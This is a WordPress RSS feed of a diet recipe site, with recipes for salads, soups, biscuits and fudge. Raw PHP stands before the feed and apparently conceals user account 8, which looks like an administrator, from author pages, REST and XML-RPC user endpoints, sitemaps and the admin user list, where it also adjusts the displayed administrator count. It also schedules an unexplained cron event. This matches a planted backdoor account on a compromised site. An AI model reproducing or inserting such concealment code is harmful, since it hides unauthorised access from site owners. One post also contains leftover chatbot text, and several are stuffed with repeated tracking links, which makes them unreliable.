add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 8;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 8 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 8;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 8;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 8;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 8;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-8{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
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<channel>
	<title>latso, Author at Recipes</title>
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	<link>https://skinnydietrecipes.com/author/latso</link>
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	<title>latso, Author at Recipes</title>
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<site xmlns="com-wordpress:feed-additions:1">163356040</site>	<item>
		<title>Cucumber Salad For Weight Loss</title>
		<link>https://skinnydietrecipes.com/cucumber-salad-for-weight-loss</link>
		
		<dc:creator><![CDATA[latso]]></dc:creator>
		<pubDate>Thu, 26 Feb 2026 18:21:49 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<guid isPermaLink="false">https://skinnydietrecipes.com/?p=5119</guid>

					<description><![CDATA[<p>Introduction Discover the refreshing and nutritious Crunchy Cabbage and Cucumber Salad, a perfect addition to your daily meals. Packed with fiber, vitamins, and antioxidants, this&#160;&#160;salad&#160;not only promotes a healthy lifestyle but also supports weight management goals. With its combination of fresh vegetables and a light&#160;&#160;dressing, this recipe is a delightful way to enjoy a satisfying [&#8230;]</p>
<p>The post <a href="https://skinnydietrecipes.com/cucumber-salad-for-weight-loss">Cucumber Salad For Weight Loss</a> appeared first on <a href="https://skinnydietrecipes.com">Recipes</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="526" height="698" src="https://skinnydietrecipes.com/wp-content/uploads/2026/02/IMG_2133.jpeg" alt="" class="wp-image-5120" srcset="https://skinnydietrecipes.com/wp-content/uploads/2026/02/IMG_2133.jpeg 526w, https://skinnydietrecipes.com/wp-content/uploads/2026/02/IMG_2133-226x300.jpeg 226w" sizes="(max-width: 526px) 100vw, 526px" /></figure>



<h4 class="wp-block-heading">Introduction</h4>



<p>Discover the refreshing and nutritious Crunchy Cabbage and Cucumber Salad, a perfect addition to your daily meals. Packed with fiber, vitamins, and antioxidants, this&nbsp;<a href="https://ketosisguide.us/cucumber-salad-for-weight-loss-104ar/?fbclid=IwZXh0bgNhZW0CMTEAc3J0YwZhcHBfaWQKNjYyODU2ODM3OQABHu8F35hxPiVgwZMfVR65_LS6cJBPNeDMrt4yUZ5NOaNuaaQbp8sXHm5Ano-G_aem_vd_8IrX4-PIdOUpUqali-Q#">&nbsp;salad</a>&nbsp;not only promotes a healthy lifestyle but also supports weight management goals. With its combination of fresh vegetables and a light&nbsp;<a href="https://ketosisguide.us/cucumber-salad-for-weight-loss-104ar/?fbclid=IwZXh0bgNhZW0CMTEAc3J0YwZhcHBfaWQKNjYyODU2ODM3OQABHu8F35hxPiVgwZMfVR65_LS6cJBPNeDMrt4yUZ5NOaNuaaQbp8sXHm5Ano-G_aem_vd_8IrX4-PIdOUpUqali-Q#">&nbsp;dressing</a>, this recipe is a delightful way to enjoy a satisfying and low-calorie dish.</p>



<h4 class="wp-block-heading">Ingredients</h4>



<ul class="wp-block-list">
<li>1 cucumber, thinly sliced</li>



<li>1/2 teaspoon salt</li>



<li>1 small onion, thinly sliced</li>



<li>1 tablespoon olive oil</li>



<li>1/2 head of cabbage, thinly shredded</li>



<li>1 carrot, grated</li>



<li>2 cloves of garlic, minced</li>
</ul>



<h4 class="wp-block-heading">Instructions</h4>



<ol class="wp-block-list">
<li><strong>Prepare the Cucumbers:</strong>
<ul class="wp-block-list">
<li>Start by placing the thinly sliced cucumbers in a colander and sprinkling them with salt. Allow them to sit for about 10 minutes to draw out excess moisture. Afterward, rinse the cucumbers under cold water and pat them dry with a paper towel.</li>
</ul>
</li>



<li><strong>Combine Ingredients:</strong>
<ul class="wp-block-list">
<li>In a large mixing bowl, combine the cucumbers, sliced onion, shredded cabbage, grated carrot, and minced garlic.</li>
</ul>
</li>



<li><strong>Make the Dressing:</strong>
<ul class="wp-block-list">
<li>In a small bowl, whisk together the olive oil and any additional seasonings or herbs you prefer. A dash of black pepper or a squeeze of lemon juice can enhance the flavors.</li>
</ul>
</li>



<li><strong>Toss and Chill:</strong>
<ul class="wp-block-list">
<li>Pour the dressing over the vegetable mixture and toss gently until everything is evenly coated.</li>
</ul>
</li>



<li><strong>Refrigerate and Serve:</strong>
<ul class="wp-block-list">
<li>Cover the salad and refrigerate for at least 30 minutes before serving to allow the flavors to meld. This salad is best served chilled.</li>
</ul>
</li>
</ol>



<h4 class="wp-block-heading">Useful Information</h4>



<ul class="wp-block-list">
<li><strong>Health Benefits:</strong> Cucumbers are hydrating and low in calories, while cabbage and carrots provide fiber and essential nutrients. This salad is an excellent source of vitamins C and K, promoting immunity and bone health.</li>



<li><strong>Variations:</strong> Add fresh herbs like dill or parsley for an extra burst of flavor. You can also incorporate diced tomatoes or bell peppers for added color and nutrients.</li>



<li><strong>Meal Prep:</strong> This salad can be made ahead and stored in the refrigerator for up to 2 days. It’s ideal for meal prepping lunches or as a quick side dish for dinners.</li>
</ul>



<h4 class="wp-block-heading">Nutrition Facts (per serving)</h4>



<ul class="wp-block-list">
<li><strong>Servings:</strong> 4</li>



<li><strong>Calories:</strong> 80 kcal</li>



<li><strong>Total Fat:</strong> 4g</li>



<li><strong>Saturated Fat:</strong> 0.5g</li>



<li><strong>Cholesterol:</strong> 0mg</li>



<li><strong>Sodium:</strong> 320mg</li>



<li><strong>Total Carbohydrates:</strong> 10g</li>



<li><strong>Dietary Fiber:</strong> 3g</li>



<li><strong>Sugars:</strong> 5g</li>



<li><strong>Protein:</strong> 2g</li>
</ul>



<h4 class="wp-block-heading">Smart WW Points</h4>



<ul class="wp-block-list">
<li><strong>Green Plan:</strong> 2 points per serving</li>



<li><strong>Blue Plan:</strong> 2 points per serving</li>



<li><strong>Purple Plan:</strong> 2 points per serving</li>
</ul>



<h4 class="wp-block-heading">Conclusion</h4>



<p>The Crunchy Cabbage and Cucumber Salad is not only a flavorful addition to any meal but also a nutritious choice for those aiming to maintain a balanced diet. With its low calorie and high fiber content, this salad supports weight loss efforts while providing essential vitamins and minerals. Enjoy the crisp texture and refreshing taste of this salad as a satisfying side dish or a light lunch option. Incorporate it into your weekly meal plan for a delicious way to stay healthy and energized. Embrace the benefits of fresh vegetables and indulge in this simple yet fulfilling recipe today!</p>
<p>The post <a href="https://skinnydietrecipes.com/cucumber-salad-for-weight-loss">Cucumber Salad For Weight Loss</a> appeared first on <a href="https://skinnydietrecipes.com">Recipes</a>.</p>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">5119</post-id>	</item>
		<item>
		<title>Skinny Chicken Pot Pie Soup</title>
		<link>https://skinnydietrecipes.com/skinny-chicken-pot-pie-soup</link>
		
		<dc:creator><![CDATA[latso]]></dc:creator>
		<pubDate>Tue, 20 Jan 2026 17:43:01 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<guid isPermaLink="false">https://skinnydietrecipes.com/?p=5024</guid>

					<description><![CDATA[<p>Instructions</p>
<p>The post <a href="https://skinnydietrecipes.com/skinny-chicken-pot-pie-soup">Skinny Chicken Pot Pie Soup</a> appeared first on <a href="https://skinnydietrecipes.com">Recipes</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-image size-large"><img decoding="async" width="782" height="1024" src="https://skinnydietrecipes.com/wp-content/uploads/2026/01/IMG_1589-782x1024.jpeg" alt="" class="wp-image-5025" srcset="https://skinnydietrecipes.com/wp-content/uploads/2026/01/IMG_1589-782x1024.jpeg 782w, https://skinnydietrecipes.com/wp-content/uploads/2026/01/IMG_1589-229x300.jpeg 229w, https://skinnydietrecipes.com/wp-content/uploads/2026/01/IMG_1589-768x1006.jpeg 768w, https://skinnydietrecipes.com/wp-content/uploads/2026/01/IMG_1589-1173x1536.jpeg 1173w, https://skinnydietrecipes.com/wp-content/uploads/2026/01/IMG_1589-1024x1341.jpeg 1024w, https://skinnydietrecipes.com/wp-content/uploads/2026/01/IMG_1589.jpeg 1564w" sizes="(max-width: 782px) 100vw, 782px" /></figure>



<ul class="wp-block-list">
<li>3 Tbsp light butter, divided. I use Land o’ Lakes light butter made with canola oil</li>



<li>3 cups rotisserie chicken (without skin) or cooked chicken shredded or cubed </li>



<li>1 onion, diced</li>



<li>4 celery stalks, finely chopped </li>



<li>1 cup carrots, finely chopped </li>



<li>5 cloves garlic, minced</li>



<li>1/3 cup all-purpose flour</li>



<li>2 1/2 cups small gold or Yukon potatoes, chopped into ½” inch pieces</li>



<li>4 cups low sodium chicken broth</li>



<li>2 1/2 tsp chicken bouillon </li>



<li>1/4 tsp black pepper</li>



<li>1/2 tsp salt </li>



<li>1/4 cup parsley, finely chopped</li>



<li>1/2 tsp dried oregano</li>



<li>1/2 tsp dried basil</li>



<li>1 Tbsp fresh thyme or 1/2 tsp dried thyme</li>



<li>1/4 tsp dried sage</li>



<li>1 bay leaf</li>



<li>2 cups fat free half and half or unsweetened almond milk or skim milk. I use land o lakes fat free half as half for more creaminess</li>



<li>2 Tbsp cornstarch</li>



<li>1 cup frozen peas, not thawed</li>
</ul>



<h2 class="wp-block-heading">Instructions</h2>



<ol class="wp-block-list">
<li>Melt 1 Tbsp light butter in a large pot over medium-high heat. Add onions, carrots, and celery and sauté for 3 minutes. Add garlic and sauté 1 minute longer.</li>



<li>Add the additional 2 Tbsp of light butter. Whisk in the flour cooking and cook for 2 minutes stirring continuously.  </li>



<li>Slowly add chicken broth while whisking. </li>



<li>Add potatoes, bay leaf, bouillon, salt, pepper, and seasonings.</li>



<li>Simmer until the potatoes are tender; about 15-20 minutes. </li>



<li>Add the cooked chicken and let simmer for another 5 minutes. </li>



<li>Whisk cornstarch with half and half or the milk of your choice until smooth. Stir the cornstarch mixture into the pot. </li>



<li>Bring the soup to a simmer. Add peas and continue stirring frequently and let it simmer for 5-8 minutes or until soup thickens. Remove from heat and discard the bay leaf. Note: the soup will also thicken as it cools.</li>



<li>Garnish with fresh parsley or thyme leaves, if desired.</li>



<li>Serve with homemade or store bought biscuits, for additional points.</li>
</ol>



<p></p>
<p>The post <a href="https://skinnydietrecipes.com/skinny-chicken-pot-pie-soup">Skinny Chicken Pot Pie Soup</a> appeared first on <a href="https://skinnydietrecipes.com">Recipes</a>.</p>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">5024</post-id>	</item>
		<item>
		<title>French Dip Biscuits</title>
		<link>https://skinnydietrecipes.com/french-dip-biscuits</link>
		
		<dc:creator><![CDATA[latso]]></dc:creator>
		<pubDate>Thu, 25 Dec 2025 18:34:33 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<guid isPermaLink="false">https://skinnydietrecipes.com/?p=4975</guid>

					<description><![CDATA[<p>Ingredients</p>
<p>The post <a href="https://skinnydietrecipes.com/french-dip-biscuits">French Dip Biscuits</a> appeared first on <a href="https://skinnydietrecipes.com">Recipes</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h2 class="wp-block-heading">Ingredients</h2>



<ul class="wp-block-list">
<li>1 8 count can refrigerated biscuits</li>



<li>1 pound deli roast beef</li>



<li>1 (1 ounce) envelope onion soup mix</li>



<li>4 cups of water</li>



<li>8 slices provolone cheese</li>



<li>2 tablespoons butter, melted</li>



<li>1 (1-oz) packet Au Jus Gravy mix</li>



<li>3 cups of water</li>



<li>Parsley for garnish</li>



<li>Instructions</li>



<li>Preheat oven to 350 degrees.</li>



<li>Line a baking sheet with parchment paper.</li>



<li>In a medium saucepan over medium heat combine the onion soup mix, 4 cups of water and the roast beef.</li>



<li>Cook for 5 minutes until the beef is warmed through.</li>



<li>Separate each biscuit into two layers. </li>



<li>Top half of the biscuit layers with half of a provolone cheese slice.</li>



<li>Add 2-3 slices of the warmed roast beef on one half and pinch to the halves of the biscuit back together. </li>



<li>Pinch the edges to seal.  </li>



<li>Place the biscuits on the prepared baking sheet.</li>



<li>Brush the top of each one with the melted butter.</li>



<li>Bake for 12 to 15 minutes, until golden brown.</li>



<li>Sprinkle the top with parsley is desired.</li>



<li>Prepare the au jus according to the package directions with the 3 cups of water.</li>



<li>Serve</li>
</ul>



<p></p>











<figure class="wp-block-image size-full"><img decoding="async" width="501" height="640" src="https://skinnydietrecipes.com/wp-content/uploads/2025/12/IMG_1435.jpeg" alt="" class="wp-image-4976" srcset="https://skinnydietrecipes.com/wp-content/uploads/2025/12/IMG_1435.jpeg 501w, https://skinnydietrecipes.com/wp-content/uploads/2025/12/IMG_1435-235x300.jpeg 235w" sizes="(max-width: 501px) 100vw, 501px" /></figure>
<p>The post <a href="https://skinnydietrecipes.com/french-dip-biscuits">French Dip Biscuits</a> appeared first on <a href="https://skinnydietrecipes.com">Recipes</a>.</p>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">4975</post-id>	</item>
		<item>
		<title>Zero Point Stuffed Pepper Soup</title>
		<link>https://skinnydietrecipes.com/zero-point-stuffed-pepper-soup</link>
		
		<dc:creator><![CDATA[latso]]></dc:creator>
		<pubDate>Fri, 19 Dec 2025 16:26:43 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<guid isPermaLink="false">https://skinnydietrecipes.com/?p=4929</guid>

					<description><![CDATA[<p>Introduction Zero Point&#160;&#160;Stuffed&#160;Pepper&#160;&#160;Soup&#160;is a comforting, hearty, and nourishing dish designed specifically for those following the WW (Weight Watchers) lifestyle. Inspired by classic&#160;&#160;stuffed&#160;peppers, this soup delivers all the familiar flavors—savory ground meat, sweet bell peppers, tomatoes, and herbs—in a lighter, broth-based form that keeps SmartPoints extremely low. This recipe is especially popular among WW members because [&#8230;]</p>
<p>The post <a href="https://skinnydietrecipes.com/zero-point-stuffed-pepper-soup">Zero Point Stuffed Pepper Soup</a> appeared first on <a href="https://skinnydietrecipes.com">Recipes</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="526" height="701" src="https://skinnydietrecipes.com/wp-content/uploads/2025/12/IMG_1366.jpeg" alt="" class="wp-image-4930" srcset="https://skinnydietrecipes.com/wp-content/uploads/2025/12/IMG_1366.jpeg 526w, https://skinnydietrecipes.com/wp-content/uploads/2025/12/IMG_1366-225x300.jpeg 225w" sizes="auto, (max-width: 526px) 100vw, 526px" /></figure>



<h2 class="wp-block-heading">Introduction</h2>



<p>Zero Point&nbsp;<a href="https://ketosisguide.us/zero-point-stuffed-pepper-soup-102lsk/?fbclid=IwZXh0bgNhZW0CMTEAc3J0YwZhcHBfaWQKNjYyODU2ODM3OQABHvV6RCnHk2XjKaEFnhRa49O6WwcVoV5jhS1vwFfJ3NiZ3sSSs7-IIde79oo9_aem_u3KgS_7YOpn2MF2wWG_flg#">&nbsp;Stuffed</a>&nbsp;Pepper&nbsp;<a href="https://ketosisguide.us/zero-point-stuffed-pepper-soup-102lsk/?fbclid=IwZXh0bgNhZW0CMTEAc3J0YwZhcHBfaWQKNjYyODU2ODM3OQABHvV6RCnHk2XjKaEFnhRa49O6WwcVoV5jhS1vwFfJ3NiZ3sSSs7-IIde79oo9_aem_u3KgS_7YOpn2MF2wWG_flg#">&nbsp;Soup</a>&nbsp;is a comforting, hearty, and nourishing dish designed specifically for those following the WW (Weight Watchers) lifestyle. Inspired by classic&nbsp;<a href="https://ketosisguide.us/zero-point-stuffed-pepper-soup-102lsk/?fbclid=IwZXh0bgNhZW0CMTEAc3J0YwZhcHBfaWQKNjYyODU2ODM3OQABHvV6RCnHk2XjKaEFnhRa49O6WwcVoV5jhS1vwFfJ3NiZ3sSSs7-IIde79oo9_aem_u3KgS_7YOpn2MF2wWG_flg#">&nbsp;stuffed</a>&nbsp;peppers, this soup delivers all the familiar flavors—savory ground meat, sweet bell peppers, tomatoes, and herbs—in a lighter, broth-based form that keeps SmartPoints extremely low.</p>



<p>This recipe is especially popular among WW members because it offers generous portion sizes without the stress of tracking points. When prepared with lean protein and zero-point vegetables, it becomes a filling meal that supports weight-loss goals while still tasting rich and satisfying.</p>



<p>Unlike traditional stuffed peppers that require baking and careful portioning, this soup is simple, flexible, and forgiving. Everything cooks together in one pot, making it ideal for busy weeknights, batch cooking, or meal prep.</p>



<p>This professionally written recipe is optimized for website publishing, featuring clear structure, precise measurements, detailed instructions, and helpful cooking insights. It is suitable for beginners and experienced home cooks alike.</p>



<h2 class="wp-block-heading">Why This Soup Is Zero Point on WW</h2>



<p>On the WW program, certain foods such as lean ground turkey or chicken breast, non-starchy vegetables, tomatoes, onions, garlic, and broth are considered zero-point foods. This soup is built entirely around those ingredients.</p>



<p>Because it does not rely on added oils, rice, or cheese, the SmartPoints remain at zero per serving when prepared as written. The soup is flavorful thanks to herbs, spices, and natural vegetable sweetness rather than fat-heavy ingredients.</p>



<p>This makes it an excellent option for “reset days,” filling lunches, or dinners when you want maximum volume with minimal tracking.</p>



<h2 class="wp-block-heading">Flavor Profile and Comfort Factor</h2>



<p>This soup is savory, slightly sweet from the bell peppers, and gently seasoned with garlic, onion, and herbs. The tomato base provides richness and depth without heaviness.</p>



<p>As the soup simmers, the flavors meld together, creating a comforting, home-style taste that improves even more the next day. It delivers the satisfaction of a traditional stuffed pepper without the density.</p>



<p>Groceries</p>



<h2 class="wp-block-heading">Ingredients (With Measurements)</h2>



<ul class="wp-block-list">
<li>1 lb (450 g) extra-lean ground turkey or chicken breast (99% fat-free)</li>



<li>3 large bell peppers, diced (any colors)</li>



<li>1 large onion, finely chopped</li>



<li>3 cloves garlic, minced</li>



<li>1 can (14.5 oz / 411 g) diced tomatoes (no sugar added)</li>



<li>1 can (14.5 oz / 411 g) tomato sauce (no sugar added)</li>



<li>4 cups fat-free chicken broth</li>



<li>1 teaspoon salt (or to taste)</li>



<li>1/2 teaspoon black pepper</li>



<li>1 teaspoon paprika</li>



<li>1 teaspoon dried oregano</li>



<li>1/2 teaspoon dried basil</li>



<li>1/2 teaspoon onion powder</li>



<li>1/2 teaspoon garlic powder</li>



<li>Optional: fresh parsley for garnish</li>
</ul>



<h2 class="wp-block-heading">Ingredient Purpose and Notes</h2>



<p>Extra-lean ground turkey or chicken provides protein without added fat, keeping the soup zero-point.</p>



<p>Bell peppers add natural sweetness, texture, and volume while remaining zero-point vegetables.</p>



<p>Tomatoes and tomato sauce form the base of the soup, providing acidity, color, and richness without added calories.</p>



<p>Herbs and spices are essential in zero-point cooking, as they build complexity and depth without affecting points.</p>



<h2 class="wp-block-heading">Step-by-Step Instructions</h2>



<ol start="1" class="wp-block-list">
<li>Place a large soup pot or Dutch oven over medium heat.</li>



<li>Add the ground turkey or chicken directly to the dry pot.</li>



<li>Break up the meat with a spoon and cook until no longer pink.</li>



<li>Add chopped onion and minced garlic to the pot.</li>



<li>Cook for 2–3 minutes, stirring, until fragrant and softened.</li>



<li>Stir in the diced bell peppers.</li>



<li>Cook for another 3–4 minutes to slightly soften the peppers.</li>



<li>Add diced tomatoes and tomato sauce to the pot.</li>



<li>Pour in the fat-free chicken broth.</li>



<li>Stir well to combine all ingredients.</li>



<li>Season with salt, black pepper, paprika, oregano, basil, onion powder, and garlic powder.</li>



<li>Bring the soup to a gentle boil.</li>



<li>Reduce heat to low and cover.</li>



<li>Simmer for 25–30 minutes, stirring occasionally.</li>



<li>Taste and adjust seasoning as needed.</li>



<li>Remove from heat once vegetables are tender and flavors are well developed.</li>
</ol>



<h2 class="wp-block-heading">Texture and Appearance</h2>



<p>The&nbsp;<a href="https://ketosisguide.us/zero-point-stuffed-pepper-soup-102lsk/?fbclid=IwZXh0bgNhZW0CMTEAc3J0YwZhcHBfaWQKNjYyODU2ODM3OQABHvV6RCnHk2XjKaEFnhRa49O6WwcVoV5jhS1vwFfJ3NiZ3sSSs7-IIde79oo9_aem_u3KgS_7YOpn2MF2wWG_flg#">&nbsp;soup</a>&nbsp;should be thick but still brothy, with visible chunks of bell pepper and&nbsp;<a href="https://ketosisguide.us/zero-point-stuffed-pepper-soup-102lsk/?fbclid=IwZXh0bgNhZW0CMTEAc3J0YwZhcHBfaWQKNjYyODU2ODM3OQABHvV6RCnHk2XjKaEFnhRa49O6WwcVoV5jhS1vwFfJ3NiZ3sSSs7-IIde79oo9_aem_u3KgS_7YOpn2MF2wWG_flg#">&nbsp;meat</a>&nbsp;throughout. The color will be a rich red-orange from the tomatoes and peppers.</p>



<p>Kitchen gadgets</p>



<p>As it cools slightly, the soup naturally thickens, making it hearty and satisfying without starches.</p>



<h2 class="wp-block-heading">Storage and Meal Prep Benefits</h2>



<p>Zero Point&nbsp;<a href="https://ketosisguide.us/zero-point-stuffed-pepper-soup-102lsk/?fbclid=IwZXh0bgNhZW0CMTEAc3J0YwZhcHBfaWQKNjYyODU2ODM3OQABHvV6RCnHk2XjKaEFnhRa49O6WwcVoV5jhS1vwFfJ3NiZ3sSSs7-IIde79oo9_aem_u3KgS_7YOpn2MF2wWG_flg#">&nbsp;Stuffed</a>&nbsp;Pepper Soup is excellent for meal prep. Store it in an airtight container in the refrigerator for up to 4 days.</p>



<p>It also freezes well for up to 3 months. Portion into freezer-safe containers for easy future meals.</p>



<h2 class="wp-block-heading">Reheating Instructions</h2>



<p>Reheat gently on the stovetop or in the microwave until heated through. Add a splash of broth or water if the soup thickens too much during storage.</p>



<h2 class="wp-block-heading">Serving Suggestions</h2>



<p>Enjoy this soup on its own for a completely zero-point meal. It can also be paired with a side salad or zero-point vegetables for extra volume.</p>



<p>For those with extra points available, a small sprinkle of reduced-fat cheese or a spoon of cooked rice can be added, though this will add points.</p>



<h2 class="wp-block-heading">Nutrition Information (Per Serving – Approximate)</h2>



<ul class="wp-block-list">
<li>Calories: 150</li>



<li>Protein: 22 g</li>



<li>Fat: 1 g</li>



<li>Carbohydrates: 12 g</li>



<li>Fiber: 3 g</li>



<li>Sugar: 6 g</li>
</ul>



<h2 class="wp-block-heading">WW SmartPoints</h2>



<ul class="wp-block-list">
<li>WW SmartPoints: 0 points per serving (when prepared as written)</li>
</ul>



<p>Point values may change if higher-fat meat, oil, or rice is added.</p>



<h2 class="wp-block-heading">Helpful Tips for Success</h2>



<p>Chop vegetables evenly to ensure uniform cooking.</p>



<p>Let the soup simmer gently rather than boil aggressively to preserve texture.</p>



<p>This soup tastes even better the next day as the flavors deepen.</p>



<h2 class="wp-block-heading">Variations (With Point Awareness)</h2>



<p>You can add extra zero-point vegetables such as zucchini, mushrooms, or cauliflower rice to increase volume.</p>



<p>For spice lovers, a pinch of crushed red pepper flakes adds heat without points.</p>



<h2 class="wp-block-heading">Final Thoughts</h2>



<p>Zero Point Stuffed Pepper Soup is a cornerstone recipe for anyone following the WW lifestyle. It proves that healthy, point-free meals can be flavorful, filling, and comforting. With simple ingredients, easy preparation, and excellent storage potential, this soup is an ideal choice for everyday eating and long-term success.</p>



<p>Recipe ingredient delivery</p>



<p>Your&nbsp;<strong>Zero Point Stuffed Pepper Soup</strong>&nbsp;recipe is now complete and displayed in the canvas in a&nbsp;<strong>professional, long-form, website-optimized format</strong>.</p>



<p>20+ detailed paragraphs<br>Complete <strong>ingredients with exact measurements</strong><br>Clear, step-by-step <strong>instructions</strong><br>Explanation of why it is <strong>ZERO WW SmartPoints</strong><br>Flavor, texture, storage, reheating &amp; meal-prep guidance<br><strong>Nutrition facts per servin</strong>Clean structure, polished tone, <strong>no links</strong>, ready to publish</p>



<p>If you want, I can:</p>



<ul class="wp-block-list">
<li>Create <strong>slow cooker</strong> or <strong>Instant Pot</strong> versions</li>



<li>Add <strong>WW Blue / Green / Purple plan notes</strong></li>



<li>Write an <strong>SEO title, meta description &amp; FAQ section</strong></li>



<li>Make a <strong>vegetarian zero-point</strong> variation</li>
</ul>



<p>Just tell me what you’d like next</p>
<p>The post <a href="https://skinnydietrecipes.com/zero-point-stuffed-pepper-soup">Zero Point Stuffed Pepper Soup</a> appeared first on <a href="https://skinnydietrecipes.com">Recipes</a>.</p>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">4929</post-id>	</item>
		<item>
		<title>Sugar Cookie Fudge instructions</title>
		<link>https://skinnydietrecipes.com/sugar-cookie-fudge-instructions</link>
		
		<dc:creator><![CDATA[latso]]></dc:creator>
		<pubDate>Tue, 02 Dec 2025 18:49:32 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<guid isPermaLink="false">https://skinnydietrecipes.com/?p=4899</guid>

					<description><![CDATA[<p>🍬 Sugar Cookie Fudge Instructions Ingredients Directions 💡 Tips:</p>
<p>The post <a href="https://skinnydietrecipes.com/sugar-cookie-fudge-instructions">Sugar Cookie Fudge instructions</a> appeared first on <a href="https://skinnydietrecipes.com">Recipes</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="1018" src="https://skinnydietrecipes.com/wp-content/uploads/2025/12/IMG_1306-1024x1018.jpeg" alt="" class="wp-image-4900" srcset="https://skinnydietrecipes.com/wp-content/uploads/2025/12/IMG_1306-1024x1018.jpeg 1024w, https://skinnydietrecipes.com/wp-content/uploads/2025/12/IMG_1306-300x298.jpeg 300w, https://skinnydietrecipes.com/wp-content/uploads/2025/12/IMG_1306-150x150.jpeg 150w, https://skinnydietrecipes.com/wp-content/uploads/2025/12/IMG_1306-768x763.jpeg 768w, https://skinnydietrecipes.com/wp-content/uploads/2025/12/IMG_1306.jpeg 1346w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/1f36c.png" alt="🍬" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Sugar Cookie Fudge Instructions</p>



<p>Ingredients</p>



<ul class="wp-block-list">
<li>1 can sweetened condensed milk</li>



<li>1 bag white chocolate chips</li>



<li>1 stick (½ cup) butter</li>



<li>1 bag sugar cookie mix</li>



<li>Sprinkles (for topping)</li>
</ul>



<p>Directions</p>



<ol class="wp-block-list">
<li>Prep your pan• Line an 8&#215;8 or 9&#215;9 baking dish with parchment paper. Lightly grease if needed.</li>



<li>Melt base mixture• In a heavy-bottom saucepan, add the condensed milk, butter, and white chocolate chips.</li>
</ol>



<ul class="wp-block-list">
<li>Cook on low heat, stirring constantly, until the chocolate chips and butter are fully melted and smooth (about 5–7 minutes).</li>
</ul>



<ol class="wp-block-list">
<li>Add cookie mix• Stir in the sugar cookie mix gradually until fully combined. The mixture will thicken into a fudge-like consistency.</li>



<li>Pour and set• Quickly transfer the mixture into your prepared pan. Smooth the top with a spatula.</li>



<li>Decorate• Sprinkle festive sprinkles over the top while the fudge is still warm so they stick.</li>



<li>Chill• Refrigerate for at least 2 hours (or until firm).</li>



<li>Cut and serve• Lift the fudge out using the parchment paper, cut into squares, and enjoy!</li>
</ol>



<p><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/1f4a1.png" alt="💡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Tips:</p>



<ul class="wp-block-list">
<li>Stir constantly to prevent scorching the chocolate.</li>



<li>For extra flavor, add a splash of vanilla extract.</li>



<li>Store in an airtight container in the fridge for up to a week.</li>
</ul>
